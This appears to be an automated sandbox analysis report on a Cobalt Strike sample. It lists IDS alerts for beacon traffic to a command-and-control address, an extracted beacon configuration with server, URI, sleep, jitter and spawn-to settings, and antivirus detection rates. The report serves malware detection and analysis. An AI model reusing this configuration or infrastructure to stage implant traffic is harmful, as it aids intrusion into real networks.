2025-01-02T10:34:26.034223+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49755	TCP
2025-01-02T10:34:27.938313+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49766	TCP
2025-01-02T10:34:29.816835+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49782	TCP
2025-01-02T10:34:31.707424+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49794	TCP
2025-01-02T10:34:33.555591+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49809	TCP
2025-01-02T10:34:35.466219+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49822	TCP
2025-01-02T10:34:37.345373+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49836	TCP
2025-01-02T10:34:39.289599+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49849	TCP
2025-01-02T10:34:41.212082+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49863	TCP
2025-01-02T10:34:43.153994+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49878	TCP
2025-01-02T10:34:45.135478+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49890	TCP
2025-01-02T10:34:47.135266+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49906	TCP
2025-01-02T10:34:48.988027+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49918	TCP
2025-01-02T10:34:50.944662+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49933	TCP
2025-01-02T10:34:53.352483+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49945	TCP
2025-01-02T10:34:55.317666+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49962	TCP
2025-01-02T10:34:57.258298+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49978	TCP
2025-01-02T10:34:59.190054+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	49989	TCP
2025-01-02T10:35:01.106608+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50003	TCP
2025-01-02T10:35:03.065114+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50004	TCP
2025-01-02T10:35:04.954891+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50005	TCP
2025-01-02T10:35:06.910071+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50006	TCP
2025-01-02T10:35:08.737598+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50007	TCP
2025-01-02T10:35:10.428495+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50008	TCP
2025-01-02T10:35:12.244025+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50009	TCP
2025-01-02T10:35:13.868644+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50010	TCP
2025-01-02T10:35:15.776816+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50011	TCP
2025-01-02T10:35:17.712836+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50012	TCP
2025-01-02T10:35:20.575136+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50013	TCP
2025-01-02T10:35:22.601054+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50014	TCP
2025-01-02T10:35:24.575376+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50015	TCP
2025-01-02T10:35:26.490360+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50016	TCP
2025-01-02T10:35:28.391743+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50017	TCP
2025-01-02T10:35:30.280709+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50018	TCP
2025-01-02T10:35:33.002755+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50019	TCP
2025-01-02T10:35:34.851723+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50020	TCP
2025-01-02T10:35:36.800172+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50021	TCP
2025-01-02T10:35:38.815252+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50022	TCP
2025-01-02T10:35:40.639319+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50023	TCP
2025-01-02T10:35:42.556071+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50024	TCP
2025-01-02T10:35:44.443519+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50025	TCP
2025-01-02T10:35:46.149196+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50026	TCP
2025-01-02T10:35:48.093491+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50027	TCP
2025-01-02T10:35:50.047585+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50028	TCP
2025-01-02T10:35:51.990056+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50029	TCP
2025-01-02T10:35:53.851213+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50030	TCP
2025-01-02T10:35:55.773742+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50031	TCP
2025-01-02T10:35:57.685613+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50032	TCP
2025-01-02T10:35:59.670445+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50033	TCP
2025-01-02T10:36:01.622123+0100	2033009	1	Malware Command and Control Activity Detected	45.116.78.127	443	192.168.2.5	50034	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 1.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2047591169.000002B669FB0000.00000040.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 10000, "MaxGetSize": 1403644, "Jitter": 37, "MaxDNS": "Not Found", "C2Server": "45.116.78.127,/jquery-3.3.1.min.js", "UserAgent": "Not Found", "HttpPostUri": "Not Found", "Malleable_C2_Instructions": "Not Found", "HttpGet_Metadata": "Not Found", "HttpPost_Metadata": "Not Found", "PipeName": "Not Found", "DNS_Idle": "Not Found", "DNS_Sleep": "Not Found", "SSH_Host": "Not Found", "SSH_Port": "Not Found", "SSH_Username": "Not Found", "SSH_Password_Plaintext": "Not Found", "SSH_Password_Pubkey": "Not Found", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe", "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "CryptoScheme": 0, "Proxy_Config": "Not Found", "Proxy_User": "Not Found", "Proxy_Password": "Not Found", "Proxy_Behavior": "Not Found", "Watermark": 100000000, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": "Not Found", "bProcInject_StartRWX": "Not Found", "bProcInject_UseRWX": "Not Found", "bProcInject_MinAllocSize": "Not Found", "ProcInject_PrependAppend_x86": "Not Found", "ProcInject_PrependAppend_x64": "Not Found", "ProcInject_Execute": "Not Found", "ProcInject_AllocationMethod": "Not Found", "bUsesCookies": "Not Found", "HostHeader": "Not Found"}

Multi AV Scanner detection for submitted file

Source: 1.exe	Virustotal: Detection: 56%			Perma Link
Source: 1.exe	ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 1.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 45.116.78.127:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: 1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49706 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49706 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49708 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49708 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49766 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49705 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49755 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49705 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49766 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49755 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49707 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49707 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49717 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49717 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49728 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49728 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49704 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49704 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49809 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49809 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49782 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49782 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49863 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49863 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49890 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49890 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49705
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49714 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49714 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49809
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49918 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49836 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49836 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49918 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49766
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49708
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49906 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49906 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50003 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50003 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50008 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50008 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49849 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49849 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49755
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50012 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50012 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50017 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50017 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49782
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50022 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50022 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50025 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50025 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49794 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50007 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50007 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49794 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49714
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49863
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49717
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49878 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49878 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50019 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50019 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49728
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49978 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49978 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50008
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50023 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50023 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50014 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50014 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50024 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50024 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50033 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50033 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50012
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49962 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49890
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49962 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50015 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50015 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50028 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49822 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50028 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49794
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50025
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49822 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50003
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:49739 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:49739 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50026 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50026 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50007
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49906
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50022
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50010 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50010 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50019
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49849
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50023
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49918
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50004 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50004 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50033
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50017
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50015
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49836
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50009 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50009 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50005 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50005 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49878
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:49962
Source: Network traffic	Suricata IDS: 2033658 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2 : 192.168.2.5:50027 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033928 - Severity 1 - ET MALWARE Cobalt Strike Beacon Activity (GET) : 192.168.2.5:50027 -> 45.116.78.127:443
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 45.116.78.127:443 -> 192.168.2.5:50024
